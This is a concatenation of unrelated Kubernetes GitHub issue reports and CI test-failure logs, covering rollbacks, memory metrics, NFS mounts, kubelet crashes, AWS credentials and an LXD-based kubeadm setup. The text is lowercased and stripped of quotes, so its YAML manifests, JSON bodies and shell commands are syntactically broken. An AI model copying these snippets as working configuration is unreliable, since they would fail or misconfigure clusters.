revision.\r   1m        1m      1   deployment-controller           normal      scalingreplicaset           scaled up replica set hello-node-1666389095 to 1\r   1m        1m      1   deployment-controller           normal      deploymentrollback          rolled back deployment \ hello-node\  to revision 1\r   1m        1m      1   deployment-controller           normal      scalingreplicaset           scaled down replica set hello-node-1666389095 to 0\r    \r \r   events from describe suggest that the deployment automatically perform a rollback  \r \r  kubectl get rs \r name                    desired   current   ready     age\r hello-node-1568347238   3         3         3         3m\r hello-node-1666389095   0         0         0         6s\r \r  kubectl get rs hello-node-1666389095 -o yaml | grep image: \r       - image: mjroxas/hello-node:v2\r \r \r   anything else we need to know  :\r 1. the example i have used in here just modifies the images of the deployment.  i know it is possible to do by using  kubectl set image  .  this situation happens with other changes like:\r - adding a new volume and volumemount to the deployment.yaml      which is my final goal \r \r 2. other changes in the deployment.yaml seems to apply  always to an older replica-set :\r - if i modify the number of replicas:   kubectl apply -f deployment.yaml  changes the number of pods.\r \r 3. surprisingly for me, if i do:\r  kubectl edit deployment hello-node \r and manually edit all my changes  image and/or new volumes , it does accept and deploy my changes.\r \r 4. if instead of using apply i create a whole new deployment with the new configuration it works as well.\r

configmap optional updates should be reflected in volume  conformance   volume   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster-new/4 k8sio-projected-optional-updates-should-be-reflected-in-volume-conformance-volume \r \r  configmap should be consumable via the environment  conformance   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster-new/4 k8sio-projected-should-be-consumable-from-pods-in-volume-conformance-volume \r \r  dns configmap federations should be able to change federation configuration  slow  serial   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster-new/4 k8sio-dns-configmap-federations-should-be-able-to-change-federation-configuration-slowserial \r \r  dns configmap nameserver should be able to change stubdomain configuration  slow  serial   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster-new/4 k8sio-dns-configmap-nameserver-should-be-able-to-change-stubdomain-configuration-slowserial \r \r  \r 1.7 release blocker?\r

what happened  :\r \r     kubectl top pod\r \r report memory usage half of what should be.\r \r  docker stats  and google stackdriver both report my container to be about 100 mb memory but  kubectl top pod  report only 40 mb is used.\r \r it's hard for me to know which is accurate and it may be dependant on what \ accurate\  means. i know that  free  and  top  are not cgroup aware and will report system-wide memory usage and not just the container.\r \r note: my goal is to accurately see memory usage to know what i should put as kubernetes memory requirement.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.6  client v1.7.6 as well \r - cloud provider or hardware configuration  : gke\r - os  e.g. from /etc/os-release : gke\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r   \r \r   what happened  :\r  --admission-control  param is not validated in func validate \r \r   what you expected to happen  :\r \r validate admission plugins, if not registered, return err to prevent going on until call  admissionoptions.applyto . \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r the error message should be more specific on the error when making a call to api  to update node object from self.\r \r the current error: \ cannot update configsource to a new non-nil configsource\  is not specific that the node is not allowed to do this operation for security reasons but instead it seems that data is missing from the request\r \r   why is this needed  :\r just better understanding i guess?\r \r   my use case  \r echo \ patching self to trigger dynamic kubelet configuration\ \r curl -vv ${options}\\\\\r   --request patch --cacert ${cert_dir}/ca.crt \\\\\r   --cert ${cert_dir}/kubelet.crt --key ${cert_dir}/kubelet.key \\\\\r   -h 'content-type: application/strategic-merge-patch+json' \\\\\r   -h 'accept: application/json' --http1.1\\\\\r   --data '{\r               pec\ : {\r               \ configsource\ : {\r                 \ configmap\ : {\r                   \ name\ : \ kubelet1\ ,\r                   \ namespace\ : \ kube-system\ ,\r                   \ kubeletconfigkey\ : \ kubelet2\ \r                 }\r               }\r             }\r           }' \\\\\r       ${protocol}://${kube_master_ip}:${kube_api_port}/api/v1/nodes/{ hostname | sed 's/.novalocal//' }\r \r \r \r     trying 10.0.0.18...\r   tcp_nodelay set\r   connected to 10.0.0.18  10.0.0.18  port 6443   0 \r   alpn, offering http/1.1\r   cipher selection: profile=system\r   successfully set certificate verify locations:\r     cafile: /etc/kubernetes/certs/ca.crt\r   capath: none\r   tlsv1.2  out , tls handshake, client hello  1 :\r   tlsv1.2  in , tls handshake, server hello  2 :\r   tlsv1.2  in , tls handshake, certificate  11 :\r   tlsv1.2  in , tls handshake, server key exchange  12 :\r   tlsv1.2  in , tls handshake, request cert  13 :\r   tlsv1.2  in , tls handshake, server finished  14 :\r   tlsv1.2  out , tls handshake, certificate  11 :\r   tlsv1.2  out , tls handshake, client key exchange  16 :\r   tlsv1.2  out , tls handshake, cert verify  15 :\r   tlsv1.2  out , tls change cipher, client hello  1 :\r   tlsv1.2  out , tls handshake, finished  20 :\r   tlsv1.2  in , tls handshake, finished  20 :\r   ssl connection using tlsv1.2 / ecdhe-rsa-chacha20-poly1305\r   alpn, server accepted to use http/1.1\r   server certificate:\r    subject: cn=kubernetes\r    start date: nov  8 17:19:41 2018 gmt\r    expire date: nov  8 17:19:41 2023 gmt\r    subjectaltname: host \ 10.0.0.18\  matched cert's ip address!\r    issuer: cn=kube1\r    ssl certificate verify ok.\r > patch /api/v1/nodes/kube1-2l6rerez733u-minion-0 http/1.1\r > host: 10.0.0.18:6443\r > user-agent: curl/7.55.1\r > content-type: application/strategic-merge-patch+json\r > accept: application/json\r > content-length: 115\r > \r   upload completely sent off: 115 out of 115 bytes\r < http/1.1 403 forbidden\r < content-type: application/json\r < date: tue, 13 nov 2018 08:34:12 gmt\r < content-length: 341\r < \r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \r   },\r   \ status\ : \ failure\ ,\r   \ message\ : \ nodes \\\ kube1-2l6rerez733u-minion-0\\\  is forbidden: cannot update configsource to a new non-nil configsource\ ,\r   \ reason\ : \ forbidden\ ,\r   \ details\ : {\r     \ name\ : \ kube1-2l6rerez733u-minion-0\ ,\r     \ kind\ : \ nodes\ \r   },\r   \ code\ : 403\r   connection  0 to host 10.0.0.18 left intact\r }\r \r \r <!-- do not edit below this line -->\r 

what happened  : due to what i can only assume is an issue with k8s services, i'm unable to mount a nfs share from a server pod to a client pod\r \r   what you expected to happen  :  mount -t nfs nfs-service:/exports /mnt/test  to successfully mount\r \r   how to reproduce it  as minimally and precisely as possible   : \r _i've copied what was posted on superuser and stack overflow with no responses_\r \r when i try to mount  /exports  form the nfs-server i get an error pertaining to it being write-protected, when   rw   is specified in  /etc/exports . after testing i believe it's related to the way kubernete's services handle low port numbers.\r \r first i created a gcp disk to mount as a pv\r  \r gcloud compute disks create --size=50gb --zone=us-central1-a nfs-disk\r  \r \r then i  kubectl apply -f  the following two configs.\r \r   nfs_deployment.yaml  \r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: nfs-server\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: nfs-server\r   template:\r     metadata:\r       labels:\r         app: nfs-server\r     spec:\r       containers:\r       - name: nfs-server\r         image: gcr.io/google_containers/volume-nfs:0.8\r         ports:\r           - name: nfs\r             containerport: 2049\r           - name: mountd\r             containerport: 20048\r           - name: rpcbind\r             containerport: 111\r         securitycontext:\r           privileged: true\r         volumemounts:\r           - mountpath: /exports\r             name: nfs-disk\r       volumes:\r         - name: nfs-disk\r           gcepersistentdisk:\r             pdname: nfs-disk\r             fstype: ext4\r    \r   nfs_service.yaml  \r    \r apiversion: v1\r kind: service\r metadata:\r   name: nfs-service\r spec:\r   clusterip: 10.27.254.55\r   ports:\r     - name: nfs\r       port: 2049\r     - name: mountd\r       port: 20048\r     - name: rpcbind\r       port: 111\r   selector:\r     app: nfs-server\r    \r \r this produces the following  /etc/exports  inside the nfs-server cotainer\r    \r  root@nfs-server-85546b8c7b-jlzc5 /   cat /etc/exports\r /exports   rw,fsid=0,insecure,no_root_squash \r /   rw,fsid=0,insecure,no_root_squash \r    \r \r i can successfully mount the /exports from localhost on the nfs-server.\r ie:  mount -t nfs localhost:/exports /test/ \r \r after this, i run a temporary container just to test with the following command\r  \r kubectl run --rm -it --image=markeijsermans/debug:kitchen-sink debug /bin/bash\r  \r   the image being used is just a troubleshooting image i found. i have the exact same issue with every image i tried, to include ubuntu and fedora\r \r when i try to mount the nfs inside the debug container  in the same cluster  i get the following error\r    \r  22:54 debug-7dcc5cd59f-496fd:/  mkdir /test \r  22:54 debug-7dcc5cd59f-496fd:/  chmod -r 777 /test/\r  22:54 debug-7dcc5cd59f-496fd:/  mount -t nfs nfs-service.default.svc.cluster.local:/exports /test/\r mount: nfs-service.default.svc.cluster.local:/exports is write-protected, mounting read-only\r mount: cannot mount nfs-service.default.svc.cluster.local:/exports read-only\r  32 22:54 debug-7dcc5cd59f-496fd:/  mount -t nfs 10.27.254.55:/exports /test/                                 \r mount: 10.27.254.55:/exports is write-protected, mounting read-only\r mount: cannot mount 10.27.254.55:/exports read-only\r  32 22:55 debug-7dcc5cd59f-496fd:/  mount -t nfs nfs-service:/exports /test/                                  \r mount: nfs-service:/exports is write-protected, mounting read-only\r mount: cannot mount nfs-service:/exports read-only\r  32 22:55 debug-7dcc5cd59f-496fd:/  \r    \r \r   ^^^^ this is the issue i'm trying to solve  \r \r curiously, i'm able to use the nfs server as a pv and pvc. to demonstrate, the following yaml deploys and can be used successfully\r \r   nfs_volume.yaml  \r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: nfs\r spec:\r   capacity:\r     storage: 10gi\r   accessmodes:\r     - readwritemany\r   nfs:\r     server: nfs-service.default.svc.cluster.local\r     path: \ /\ \r \r ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: nfs\r spec:\r   accessmodes:\r     - readwritemany\r   storageclassname: \ \ \r   resources:\r     requests:\r       storage: 10gi\r    \r \r this can then be proven and tested with the following replicationcontroller\r \r   _nfs_test_pv.yaml  \r    \r   this mounts the nfs volume claim into /mnt and continuously\r   overwrites /mnt/index.html with the time and hostname of the pod.\r \r apiversion: v1\r kind: replicationcontroller\r metadata:\r   name: nfs-busybox\r spec:\r   replicas: 2\r   selector:\r     name: nfs-busybox\r   template:\r     metadata:\r       labels:\r         name: nfs-busybox\r     spec:\r       containers:\r       - image: busybox\r         command:\r           - sh\r           - -c\r           - 'while true; do date > /mnt/index.html; hostname >> /mnt/index.html; sleep $  $random % 5 + 5  ; done'\r         imagepullpolicy: ifnotpresent\r         name: busybox\r         volumemounts:\r           - name: nfs\r             mountpath: \ /mnt\ \r       volumes:\r       - name: nfs\r         persistentvolumeclaim:\r           claimname: nfs\r    \r \r   all of this leads me to believe that there is something going on with services that  my best guess  drops low port numbers, like rpc.  \r \r   anything else we need to know?  : i understand this could be better asked in stackoverflow, but i have tried to find answers elsewhere to no avail. this is a last ditch effort to get an answer.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.7\ , gitcommit:\ 0c38c362511b20a098d7cd855f1314dad92c2780\ , gittreestate:\ clean\ , builddate:\ 2018-08-20t10:09:03z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.11-gke.1\ , gitcommit:\ 5c4fddf874319c9825581cc9ab1d0f0cf51e1dc9\ , gittreestate:\ clean\ , builddate:\ 2018-11-30t16:18:58z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  google kubernetes engine master version\t\r 1.10.11-gke.1 \r - os  e.g. from /etc/os-release :\r node version                     1.10.11-gke.1\r node image                       container-optimized os  cos \r machine type\t                   n1-standard-4  4 vcpus, 15 gb memory \r - kernel  e.g.  uname -a  : ???\r - install tools: ???\r - others: ???\r

currently we don't have hard separation of the control plane for node metrics, and status updates.  ideally they would exist on their own plane to ensure timely responses and verifying health independent of the load on node.    /cc @kubernetes/sig-node @jeremyeder @kubernetes/rh-networking @kubernetes/rh-cluster-infra

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-kubenet/337/  failed:  k8s.io  services should release nodeports on delete {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1040 nov 21 23:28:36.004: expected node port  32362  to not be in use in 5m0s, stdout:  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1031

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-large-cluster/95/ multiple broken tests:  failed:  k8s.io  dns configmap nameserver should be able to change stubdomain configuration {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns_configmap.go:195 mar 24 18:06:04.579: dig result did not match:   string{} after 2m0s /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns_common.go:94       failed:  k8s.io  cluster level logging using gcl should check that logs from containers are ingested in gcl {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_logging_gcl.go:63 fluentd deployed incorrectly expected error:     < errors.errorstring | 0xc421f12ed0>: {         s: \ node gke-gke-large-cluster-default-pool-0-69f4d221-00qj doesn't have fluentd instance\ ,     }     node gke-gke-large-cluster-default-pool-0-69f4d221-00qj doesn't have fluentd instance not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster_logging_gcl.go:46     issues about this test specifically:  34623  34713  36890  37012  37241  43425   failed:  k8s.io  dynamic provisioning  k8s.io  dynamicprovisioner beta should not provision a volume in an unmanaged gce zone.  slow   volume  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:221 expected success, but got an error:     < errors.statuserror | 0xc4225ce180>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ storageclasses.storage.k8s.io \\\ myclass-unmananged\\\  not found\ ,             reason: \ notfound\ ,             details: {                 name: \ myclass-unmananged\ ,                 group: \ storage.k8s.io\ ,                 kind: \ storageclasses\ ,                 causes: nil,                 retryafterseconds: 0,             },             code: 404,         },     }     storageclasses.storage.k8s.io \ myclass-unmananged\  not found /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/volume_provisioning.go:205       failed: test {e2e.go}      error during ./hack/ginkgo-e2e.sh --ginkgo.skip=\\ serial\\ |\\ disruptive\\ |\\ flaky\\ |\\ feature:.+\\  --allowed-not-ready-nodes=20 --node-schedulable-timeout=120m --system-pods-startup-timeout=5m: exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025  previous issues for this suite:  37153  38554  39332  39458  40723

i was running an experiment to verify that taints are correctly updated when condition changes from unreachable to notready and found out that kubelet can't start when the docker is not running.\r \r i did an experiment on cvm and:\r - made  /usr/sbin/kubelet-checker.sh  no op\r - made  /usr/sbin/docker-checker.sh  no op\r -  service kubelet stop \r -  service docker stop \r - wait\r - reverted changes to  kubelet-checker \r -  service kubelet start \r \r the result is following:\r    \r i0404 08:23:56.527639   13582 oom_linux.go:65  attempting to set \ /proc/self/oom_score_adj\  to \ -999\ \r i0404 08:23:56.527669   13582 server.go:616  cloud provider determined current node name to be e2e-test-gmarek-minion-group-7br4\r i0404 08:23:56.527680   13582 server.go:802  using root directory: /var/lib/kubelet\r i0404 08:23:56.527721   13582 kubelet.go:320  cloud provider determined current node name to be e2e-test-gmarek-minion-group-7br4\r i0404 08:23:56.527733   13582 kubelet.go:255  adding manifest file: /etc/kubernetes/manifests\r i0404 08:23:56.527751   13582 file.go:48  watching path \ /etc/kubernetes/manifests\ \r i0404 08:23:56.527759   13582 kubelet.go:265  watching apiserver\r i0404 08:23:56.527778   13582 reflector.go:187  starting reflector  v1.pod  0s  from k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46\r i0404 08:23:56.527837   13582 reflector.go:187  starting reflector  v1.service  0s  from k8s.io/kubernetes/pkg/kubelet/kubelet.go:382\r i0404 08:23:56.527882   13582 reflector.go:187  starting reflector  v1.node  0s  from k8s.io/kubernetes/pkg/kubelet/kubelet.go:390\r i0404 08:23:56.527889   13582 file.go:157  reading config file \ /etc/kubernetes/manifests/e2e-image-puller.manifest\ \r i0404 08:23:56.529573   13582 file.go:157  reading config file \ /etc/kubernetes/manifests/kube-proxy.manifest\ \r i0404 08:23:56.530525   13582 reflector.go:236  listing and watching  v1.node from k8s.io/kubernetes/pkg/kubelet/kubelet.go:390\r i0404 08:23:56.530770   13582 reflector.go:236  listing and watching  v1.pod from k8s.io/kubernetes/pkg/kubelet/config/apiserver.go:46\r i0404 08:23:56.530932   13582 reflector.go:236  listing and watching  v1.service from k8s.io/kubernetes/pkg/kubelet/kubelet.go:382\r i0404 08:23:56.531110   13582 config.go:293  setting pods for source file\r i0404 08:23:56.531207   13582 iptables.go:175  could not connect to d-bus system bus: dial unix /var/run/dbus/system_bus_socket: connect: no such file or directory\r i0404 08:23:56.531249   13582 kubelet.go:494  hairpin mode set to \ promiscuous-bridge\ \r i0404 08:23:56.531252   13582 config.go:415  receiving a new pod \ e2e-image-puller-e2e-test-gmarek-minion-group-7br4_kube-system 0bdbf2228887dbd54a6b05f67c9bf487 \ \r i0404 08:23:56.531274   13582 config.go:415  receiving a new pod \ kube-proxy-e2e-test-gmarek-minion-group-7br4_kube-system b86649617afc761351dbd891acaca743 \ \r i0404 08:23:56.532756   13582 iptables.go:361  running iptables -c  postrouting -t nat -m comment --comment kubenet: snat for outbound traffic from cluster -m addrtype ! --dst-type local ! -d 10.0.0.0/8 -j masquerade \r i0404 08:23:56.534117   13582 plugins.go:192  loaded network plugin \ kubenet\ \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x18 pc=0x15000ec \r \r goroutine 1  running :\r panic 0x2db5f80, 0xc42000e060 \r         /usr/local/go/src/runtime/panic.go:500 +0x1a1\r k8s.io/kubernetes/pkg/kubelet/dockershim.  dockerservice .getdockerapiversion 0xc4206f7b80, 0x351c3b3, 0x351c3b2, 0xc41ffa0e93 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/dockershim/docker_service.go:424 +0x7c\r k8s.io/kubernetes/pkg/kubelet/dockershim.  dockerservice .checkversioncompatibility 0xc4206f7b80, 0xc420be2d60, 0x4ea5460 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/dockershim/docker_service.go:395 +0x43\r k8s.io/kubernetes/pkg/kubelet/dockershim.newdockerservice 0x4d8f0a0, 0xc420a8d0e0, 0xc4200cf300, 0x18, 0x339c09b, 0x28, 0xc4208aae60, 0xc420c40070, 0x7ffdedf30d1b, 0xe, ... \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/dockershim/docker_service.go:173 +0x36d\r k8s.io/kubernetes/pkg/kubelet.newmainkubelet 0xc420900600, 0xc420701040, 0x335ef00, 0x18, 0xc4208ab158, 0x1 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:556 +0x6a67\r k8s.io/kubernetes/cmd/kubelet/app.createandinitkubelet 0xc420900600, 0xc420701040, 0x0, 0xc4208ab158, 0x1, 0x1, 0x3 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:895 +0x42\r k8s.io/kubernetes/cmd/kubelet/app.runkubelet 0xc420900600, 0xc420701040, 0x0, 0x0, 0x7ffdedf30d1b \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:811 +0x451\r k8s.io/kubernetes/cmd/kubelet/app.run 0xc420900600, 0xc420701040, 0xc4208abec0, 0x456eb0 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:577 +0x3b0\r k8s.io/kubernetes/cmd/kubelet/app.run 0xc420900600, 0x0, 0x22, 0xc420397290 \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:285 +0x39\r main.main  \r         /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/kubelet.go:48 +0x92\r    \r is this expected, or kubelet should normally start and report itself as 'notready'?\r \r @kubernetes/sig-node-bugs @yujuhong @wojtek-t

hi, \r i am following https://kubernetes.io/docs/getting-started-guides/ubuntu/manual/. so i took the latest git pull from  git clone --depth 1 https://github.com/kubernetes/kubernetes.git . the problem is i am not able to find  cluster/ubuntu/ .

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature request\r \r   \r scope the resource name to the same format  e.g. foo_x foo_y , and reserve some special name for administrator.\r for instance, user need to create  a pod named \ foo_something\  and can not create a configmap named \ system:configmap\ \r    \r apiversion: extensions/v1beta1\r kind: resourcenamepolicy\r metadata:\r   name: test\r spec:\r   pod:\r     rule: \ foo_. \ \r   configmap:\r     reserve: \ system:configmap\ \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : it's not possible to configure the aws cloud provider to assume a role\r \r   what you expected to happen  : it should be possible to assume a role\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a new ec2 vm using an assumed role such that only that role can see the vm\r 1. set the environment variable  aws_sdk_load_config  to true\r 1. set up  ~/.aws/credentials  appropriately for a  default  profile with credentials\r 1. set up  ~/.aws/config  with another profile e.g.  foo  with  source_profile  and  role_arn  set appropriately\r 1. set the environment variable  aws_profile  to  foo \r 1. run  hack/local-up-cluster.sh  or whatever method you prefer to start the cluster\r 1. you'll get an error that initializing the aws cloud provider failed because it couldn't describe its vm instance\r \r   anything else we need to know?  :\r the aws cloud provider supports the following credentials providers, in this  order  https://github.com/kubernetes/kubernetes/blob/9737b4118924be1fd2d862cf360a2d25813b1b2d/pkg/cloudprovider/providers/aws/aws.go l688-l692 :\r \r 1. environment variables for access key, secret access key, session token\r 1. ec2 metadata\r 1. shared credentials  ~/.aws/credentials \r \r if you don't specify credentials providers when creating a session, it defaults to the following  logic  https://github.com/kubernetes/kubernetes/blob/9737b4118924be1fd2d862cf360a2d25813b1b2d/vendor/github.com/aws/aws-sdk-go/aws/session/session.go l295-l338 :\r \r 1. environment variables for access key, secret access key, session token\r 1. support for assuming a role\r 1. credentials from config files  ~/.aws/credentials and/or ~/.aws/config \r 1. remote credentials provider  ec2 \r \r i'm wondering if it would make sense to either remove our hard-coded providers list and instead use the default logic from the session, or copy the logic from the session into the aws cloud provider  so we don't have a behavior change if/when we upgrade aws-sdk-go . or if there's some better way, i'm all ears, as i am by no means an expert on this area. wdyt?\r \r cc @jbeda @timothysc @mattmoyer @justinsb @rrati

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r i deployed a kubernetes 1.8.2 cluster manually within a couple of ubuntu 16.04 lxd containers  kubemaster1 and kubeworker1 , following the procedure described in  this guide  https://kubernetes.io/docs/setup/independent/install-kubeadm/ . i had to do a few tweaks to default configurations in order to bring it up:\r \r 1  lxd container config, i used the following:\r    \r     config: \r       boot.autostart: \ true\  \r       linux.kernel_modules: bridge,br_netfilter,ip_tables,ip6_tables,netlink_diag,nf_nat,overlay \r       raw.lxc: |- \r         lxc.aa_profile = unconfined \r         lxc.cgroup.devices.allow = a \r         lxc.mount.auto=proc:rw sys:rw cgroup:ro \r         lxc.cap.drop = \r       security.nesting: \ true\  \r       security.privileged: \ true\  \r       limits.memory.swap: \ false\  \r     devices: \r       eth0: \r         nictype: bridged \r         parent: lxdbr0 \r         type: nic \r       root: \r         path: / \r         pool: default \r         type: disk\r    \r \r 2  docker version, 1.17.06 or above from 'test' apt repo  1.17.03 from 'stable' does not work due to  this issue  https://github.com/moby/moby/issues/32968   \r \r 3  kubelet service configuration, i had to add a couple of arguments:\r      service  \r     environment=\ kubelet_kubeconfig_args=--bootstrap-kubeconfig=/etc/kubernetes/bootstrap-kubelet.conf --kubeconfig=/etc/kubernetes/kubelet.conf    --fail-swap-on=false –cgroup-driver=cgroupfs  \ \r     environment=\ kubelet_system_pods_args=--pod-manifest-path=/etc/kubernetes/manifests --allow-privileged=true\ \r \r   fail-swap-on is required since even if the containers are set-up to not use swap, swap-related paths still show up in containers' file systems and kubelet stat's those paths to detect swap usage \r \r with those settings i can successfully run 'kubeadm init --skip-preflight-checks --pod-network-cidr=<my-cidr>' in kubemaster1 container to initialize the master, after which the kubelet service starts and i can use the kubectl tool to interact with the master.\r \r now when i try to install a network plugin  e.g. flannel , all network-related pods fail to start  kube-flannel, kube-proxy, kube-dns . the reason is they are unable to mount the default serviceaccount token, as seen in pod logs obtained with 'kubectl describe':\r \r    \r $ kubectl describe -n kube-system po/kube-proxy-b8gsb\r name:           kube-proxy-b8gsb\r namespace:      kube-system\r node:           kubemaster1/10.63.78.145\r start time:     sun, 05 nov 2017 17:53:49 +0000\r labels:         controller-revision-hash=1272499655\r                 k8s-app=kube-proxy\r                 pod-template-generation=3\r annotations:    kubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ daemonset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ kube-proxy\ ,\ uid\ :\ b7a32261-bca4-11e7-9a83-02424f90a469\ ,\ api...\r status:         pending\r ip:             10.63.78.145\r created by:     daemonset/kube-proxy\r controlled by:  daemonset/kube-proxy\r containers:\r   kube-proxy:\r     container id:  \r     image:         gcr.io/google_containers/kube-proxy-amd64:v1.8.2\r     image id:      \r     port:          <none>\r     command:\r       /usr/local/bin/kube-proxy\r       --kubeconfig=/var/lib/kube-proxy/kubeconfig.conf\r       --cluster-cidr=10.244.0.0/16\r     state:          waiting\r       reason:       containercreating\r     ready:          false\r     restart count:  0\r     environment:    <none>\r     mounts:\r       /run/xtables.lock from xtables-lock  rw \r       /var/lib/kube-proxy from kube-proxy  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from kube-proxy-token-bfk49  ro \r conditions:\r   type          status\r   initialized   true \r   ready         false \r volumes:\r   kube-proxy:\r     type:      configmap  a volume populated by a configmap \r     name:      kube-proxy\r     optional:  false\r   xtables-lock:\r     type:  hostpath  bare host directory volume \r     path:  /run/xtables.lock\r   kube-proxy-token-bfk49:\r     type:        secret  a volume populated by a secret  erase this line and add your message  \r     secretname:  kube-proxy-token-bfk49\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node-role.kubernetes.io/master:noschedule\r                  node.alpha.kubernetes.io/notready:noexecute\r                  node.alpha.kubernetes.io/unreachable:noexecute\r                  node.cloudprovider.kubernetes.io/uninitialized=true:noschedule\r                  node.kubernetes.io/disk-pressure:noschedule\r                  node.kubernetes.io/memory-pressure:noschedule\r events:\r   type     reason                 age   from                  message\r   ----     ------                 ----  ----                  -------\r   normal   successfulmountvolume  14s   kubelet, kubemaster1  mountvolume.setup succeeded for volume \ xtables-lock\ \r   warning  failedmount            14s   kubelet, kubemaster1  mountvolume.setup failed for volume \ kube-proxy-token-bfk49\  : mount failed: exit status 1\r mounting command: systemd-run\r mounting arguments: --description=kubernetes transient mount for /var/lib/kubelet/pods/46eac8a9-c252-11e7-9a83-02424f90a469/volumes/kubernetes.io~secret/kube-proxy-token-bfk49 --scope -- mount -t tmpfs tmpfs /var/lib/kubelet/pods/46eac8a9-c252-11e7-9a83-02424f90a469/volumes/kubernetes.io~secret/kube-proxy-token-bfk49\r output: running scope as unit run-r83a0a73327a94e409ef80c5bf5f31595.scope.\r mount: only root can use \ --types\  option  effective uid is 1000000 \r   normal   successfulmountvolume  14s  kubelet, kubemaster1  mountvolume.setup succeeded for volume \ kube-proxy\ \r   warning  failedmount            14s  kubelet, kubemaster1  mountvolume.setup failed for volume \ kube-proxy-token-bfk49\  : mount failed: exit status 1\r mounting command: systemd-run\r mounting arguments: 